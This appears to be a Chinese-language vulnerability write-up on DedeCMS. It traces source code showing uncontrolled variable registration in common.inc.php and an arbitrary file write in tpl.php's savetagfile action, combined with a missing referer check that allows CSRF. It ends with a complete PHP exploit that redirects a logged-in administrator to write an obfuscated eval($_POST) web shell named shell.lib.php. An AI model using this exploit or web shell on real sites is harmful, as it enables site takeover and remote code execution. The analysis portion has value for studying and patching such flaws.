dedecms友情链接利用漏洞
/*---------------------------function savetagfile() { }
保存标签碎片修改
--------------------------*/
else if($action=='savetagfile')
{
if(!preg_match("#^{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法，不允许进行操作！', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
$msg = "
<form name='form1' action='tag_test_action.php' target='blank' method='post'>
<input type='hidden' name='dopost' value='make' />
<b>测试标签：</b>(需要使用环境变量的不能在此测试)
<textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
<input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
</form>
";
$wintitle = "成功修改/创建文件！";
$wecome_info = "<a href='templets_tagsource.php'>标签源码碎片管理</a> >> 修改/新建标签";
$win = new OxWindow();
$win->AddTitle("修改/新建标签：");
$win->AddMsgItem($msg);
$winform = $win->GetWindow("hand"," ",false);
$win->Display();
exit();
}这里是漏洞利用写入文件的地方，但是我们知道，基本所有的不安全情况，是在数据输入输出时发生的，这里的参数是怎么传递过来的呢？还有$filename和$content是怎么传递参数的呢？继续跟踪
config.php又 include了 common.inc.php ，而一般情况下，类似common.php这种文件名的，里面存放着一些将会经常用到的函数。继续跟踪上去。果然发现了猫腻在common.inc.php 发现了
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}问题在哪呢？ 这段代码大概的意思是 从数组中获取获取参数的方，这里GET,POST,COOKIE方式的参数都有了。先来跟踪GET，二层循环中$_GET(这个可以看作是一个全局数组)**$_k ,$_v 获取数组的key value值.${$_k}这里全局注册了变量，假如输入GET型参数 ?test=k4l0n.则在本php页及所有包含本页的php页中 ， $test的值都被赋值为了kl0n
而tpl.php中的$action，$content,$filename变量没有初始化，从而能操纵这些变量写入任意的代码。继续跟踪 userLogin类的getUserID函数:/**
*获得用户的ID
*
* @access public
* @return int
*/
function getUserID()
{
if($this->userID != '')
{
return $this->userID;
}
else
{
return -1;
}
}
userLogin类用户登录
/**
*检验用户是否正确
*
* @access public
* @param string $username用户名
* @param string $userpwd密码
* @return string
*/
function checkUser($username, $userpwd)
{
global $dsql;
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
$this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
$pwd = substr(md5($this->userPwd), 5, 20);
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->pwd))
{
return -1;
}
else if($pwd!=$row->pwd)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->userType = $row->usertype;
$this->userChannel = $row->typeid;
$this->userName = $row->uname;
$this->userPurview = $row->purviews;
$inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
$sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
$dsql->ExecuteNoneQuery($sql);
return 1;
}
}
/**
*保持用户的会话状态
*
* @access public
* @return int 成功返回 1 ，失败返回 -1
*/
function keepUser()
{
if($this->userID != '' && $this->userType != '')
{
global $admincachefile,$adminstyle;
if(empty($adminstyle)) $adminstyle = 'dedecms';
@session_register($this->keepUserIDTag);
$_SESSION[$this->keepUserIDTag] = $this->userID;
@session_register($this->keepUserTypeTag);
$_SESSION[$this->keepUserTypeTag] = $this->userType;
@session_register($this->keepUserChannelTag);
$_SESSION[$this->keepUserChannelTag] = $this->userChannel;
@session_register($this->keepUserNameTag);
$_SESSION[$this->keepUserNameTag] = $this->userName;
@session_register($this->keepUserPurviewTag);
$_SESSION[$this->keepUserPurviewTag] = $this->userPurview;
@session_register($this->keepAdminStyleTag);
$_SESSION[$this->keepAdminStyleTag] = $adminstyle;
PutCookie('DedeUserID', $this->userID, 3600 * 24, '/');
PutCookie('DedeLoginTime', time(), 3600 * 24, '/');
$this->ReWriteAdminChannel();
return 1;
}
else
{
return -1;
}
}通过跟踪发现，这里没有对管理员的来源页进行任何检查，只是检查了管理员是否登陆，这就造成了一个CSRF漏洞。到这里漏洞思路就很清晰了，由于变量可控漏洞导致可写入任意代码，由于CSRF漏洞诱导管理员以管理员的权限去写入代码。
先上exp：<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'
.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>
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